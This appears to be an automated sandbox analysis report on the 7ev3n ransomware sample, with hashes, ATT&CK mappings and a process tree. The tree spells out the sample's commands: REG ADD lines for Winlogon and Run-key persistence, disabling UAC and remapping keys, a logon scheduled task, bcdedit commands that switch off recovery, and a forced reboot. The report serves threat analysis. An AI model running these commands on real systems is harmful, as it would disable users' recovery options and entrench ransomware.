seven | 7d373ccb96d1dbb1856ef31afa87c2112a0c1795a796ab01cb154700288afec5

max time kernel
60s
max time network
67s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
20/04/2026, 09:05

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Reason

Machine shutdown

General

Target
Ransomware/7ev3n.exe
Size 315KB
Sample260420-k2f71sdx8l
SHA256 7d373ccb96d1dbb1856ef31afa87c2112a0c1795a796ab01cb154700288afec5
MD5 9f8bc96c96d43ecb69f883388d228754
SHA1 61ed25a706afa2f6684bb4d64f69c5fb29d20953
SHA512 550a891c1059f58aa983138caf65a7ea9c326cb1b94c15f3e7594128f6e9f1295b9c2dbc0925637dba7c94e938083fffc6a63dc7c2e5b1e247679931cce505c6
SSDEEP 6144:BswDdb2MemnBVlz0SoVbO4A6OA4Trl28TyT6llY1/I8cWJWlfTXv:BswRSslz0P1OdFXJlJ8buXv
TLSH
T183643A54BC8840ADC03693F00AA2C6A5633EF633371569ABBFDD53781E255E1E733A16
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution seven persistence ransomware trojan

Malware Config

Signatures

Family: Seven, SevenCrypt, 7ev3n
Seven aka SevenCrypt or 7ev3n is a ransomware.
ransomware seven

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4352	bcdedit.exe
3880	bcdedit.exe
3176	bcdedit.exe
3064	bcdedit.exe
2796	bcdedit.exe

Executes dropped EXE 2 IoCs

pid	Process
2756	system.exe
5692	system.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SCHTASKS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	system.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7ev3n.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	system.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "145"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5104	SCHTASKS.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3108	shutdown.exe
Token: SeRemoteShutdownPrivilege	3108	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2688	PickerHost.exe
5356	LogonUI.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 5088 wrote to memory of 2756	5088	7ev3n.exe	80
PID 2756 wrote to memory of 3680	2756	system.exe	81
PID 2756 wrote to memory of 5104	2756	system.exe	82
PID 2756 wrote to memory of 4400	2756	system.exe	91
PID 2756 wrote to memory of 1048	2756	system.exe	92
PID 2756 wrote to memory of 2984	2756	system.exe	93
PID 2756 wrote to memory of 5600	2756	system.exe	94
PID 2756 wrote to memory of 5164	2756	system.exe	95
PID 2756 wrote to memory of 3312	2756	system.exe	96
PID 2984 wrote to memory of 3080	2984	cmd.exe	103
PID 4400 wrote to memory of 5392	4400	cmd.exe	104
PID 1048 wrote to memory of 5616	1048	cmd.exe	105
PID 5164 wrote to memory of 5192	5164	cmd.exe	106
PID 3312 wrote to memory of 5728	3312	cmd.exe	107
PID 5600 wrote to memory of 1088	5600	cmd.exe	108
PID 5692 wrote to memory of 388	5692	system.exe	111
PID 2756 wrote to memory of 3000	2756	system.exe	114
PID 3000 wrote to memory of 2320	3000	cmd.exe	116
PID 2756 wrote to memory of 4208	2756	system.exe	117
PID 4208 wrote to memory of 3108	4208	cmd.exe	119

C:\Users\Admin\AppData\Local\Temp\Ransomware\7ev3n.exe
"C:\Users\Admin\AppData\Local\Temp\Ransomware\7ev3n.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5088
- C:\Users\Admin\AppData\Local\system.exe
  "C:\Users\Admin\AppData\Local\system.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\del.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3680
- - C:\Windows\SysWOW64\SCHTASKS.exe
    C:\Windows\System32\SCHTASKS.exe /create /SC ONLOGON /TN uac /TR "C:\Users\Admin\AppData\Local\bcd.bat" /RL HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5104
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4400
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
      4⤵
      Modifies WinLogon for persistence
      System Location Discovery: System Language Discovery
      PID:5392
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1048
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5616
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:3080
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5600
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:1088
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5164
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:5192
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3312
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      PID:5728
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3000
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:2320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c shutdown -r -t 10 -f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4208
  - - C:\Windows\SysWOW64\shutdown.exe
      shutdown -r -t 10 -f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3108

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} bootems no
1⤵
- Modifies boot configuration data using bcdedit
PID:4352

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} advancedoptions off
1⤵
- Modifies boot configuration data using bcdedit
PID:3880

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} optionsedit off
1⤵
- Modifies boot configuration data using bcdedit
PID:3176

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:3064

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} recoveryenabled off
1⤵
- Modifies boot configuration data using bcdedit
PID:2796

C:\Users\Admin\AppData\Local\system.exe
C:\Users\Admin\AppData\Local\system.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5692
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\del.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:388

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2688

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39cb055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

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del.bat

Path C:\Users\Admin\AppData\Local\del.bat
Size 76B
SHA256 01ddb9a534a1519c377c6951557207284a9a941870951797b2dfa5ed86a85709
MD5 2623d4a3f9735b4a8298ad5050eb73ef
SHA1 3dcd1491a378acd63f725bd427ecb9810dc3cea2
SHA512 aff6ca24a072b2219dafaa751a011cf41b5e8f638438e79d4e1852ff33ce7dbfa87e9e36b867866b2b8bd5ae30f0267d0ce2827caea21ec73a690ae9b4e329e8
TLSH
T1E1A02441F4C14C340005040D0355570D71570CCD014407D005334C3C01C144F5140D01
MD5 SHA1 SHA512 TLSH

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system.exe

Path C:\Users\Admin\AppData\Local\system.exe
Size 315KB
SHA256 6fc2c12de610d3cbdcfcbe37bc9538a412792d5437587f9a270ca9cbd2dfdb5b
MD5 2e4ce744aa9124cfec3a067f9946f3b8
SHA1 e8fd894cdda3369023071973cccf01be8f13aa9d
SHA512 319d7057abc4c477299c7e79f6f6721c2d9d9fde99c64464699d9d85e2bdf7ae051b6cd0ad4319bf384a34481dd9ec73d552ce3c8d82693c6c98849b7bf11e1a
SSDEEP 6144:BswDdb2MemnBVlz0SoVbO4A6OA4Trl28TyT6llY1/I8cWJWlfTXvJ:BswRSslz0P1OdFXJlJ8buXvJ
TLSH
T1F7643A54BC8840ADC03693F00AA2C6A5633EF633371569ABBFDD53781E255E1E733A16
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/2688-72-0x0000018A6FB30000-0x0000018A6FC1A000-memory.dmp

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Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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